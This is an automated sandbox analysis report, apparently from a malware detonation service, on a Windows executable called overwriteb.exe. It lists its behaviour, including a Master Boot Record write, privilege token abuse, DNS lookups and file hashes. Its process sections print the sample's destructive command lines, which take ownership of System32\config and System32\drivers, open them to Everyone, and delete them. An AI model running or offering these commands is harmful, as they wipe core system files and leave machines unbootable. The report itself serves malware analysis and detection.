Analysis Overview
SHA256
3e68a8d85a3429226ed2cb9f16b16e715bb53d3ee34d06cdaad05cbf49880ff9
Threat Level: Likely malicious
The file overwriteb.exe was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Writes to the Master Boot Record (MBR)
Unsigned PE
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-10 15:45
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-10 15:45
Reported
2024-08-10 15:48
Platform
win7-20240708-en
Max time kernel
44s
Max time network
14s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File created | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\overwriteb.exe
"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\config\*
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\config\* /grant Everyone:(F)
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers\* /grant Everyone:(F)
C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
C:\Windows\system32\wininit.exe
"C:\Windows\system32\wininit.exe"
Network
Files
memory/2152-0-0x000000013F780000-0x000000013F92F000-memory.dmp
memory/2152-1-0x000000013F780000-0x000000013F92F000-memory.dmp
memory/2152-2-0x000000013F780000-0x000000013F92F000-memory.dmp
memory/2780-7-0x000000001B5F0000-0x000000001B8D2000-memory.dmp
memory/2780-8-0x0000000002340000-0x0000000002348000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-10 15:45
Reported
2024-08-10 15:46
Platform
win10v2004-20240802-en
Max time kernel
54s
Max time network
35s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Writes to the Master Boot Record (MBR)
| Description | Indicator | Process | Target |
| File created | \??\PhysicalDrive0 | C:\Users\Admin\AppData\Local\Temp\overwriteb.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\overwriteb.exe
"C:\Users\Admin\AppData\Local\Temp\overwriteb.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\config\* > NUL && icacls %SystemRoot%\System32\config\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\config\* > NUL 2>&1 && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f %SystemRoot%\System32\drivers\* > NUL && icacls %SystemRoot%\System32\drivers\* /grant Everyone:(F) > NUL && del /s /q %SystemRoot%\System32\drivers\* > NUL 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\config\*
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\drivers\*
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\config\* /grant Everyone:(F)
C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\drivers\* /grant Everyone:(F)
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
C:\Windows\system32\wininit.exe
"C:\Windows\system32\wininit.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
Files
memory/3656-0-0x00007FF673590000-0x00007FF67373F000-memory.dmp
memory/3656-1-0x00007FF673590000-0x00007FF67373F000-memory.dmp
memory/3656-2-0x00007FF673590000-0x00007FF67373F000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mveh1102.lux.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4624-14-0x0000015F89900000-0x0000015F89922000-memory.dmp